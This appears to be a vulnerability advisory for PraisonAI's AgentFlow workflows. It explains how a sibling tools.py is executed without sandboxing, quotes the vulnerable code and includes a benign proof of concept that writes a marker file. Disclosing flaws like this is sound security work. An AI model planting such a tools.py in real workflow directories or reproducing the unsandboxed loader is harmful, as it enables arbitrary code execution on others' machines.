PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by:

• WorkflowManager._load_workflow() (used by workspace discovery)
• WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")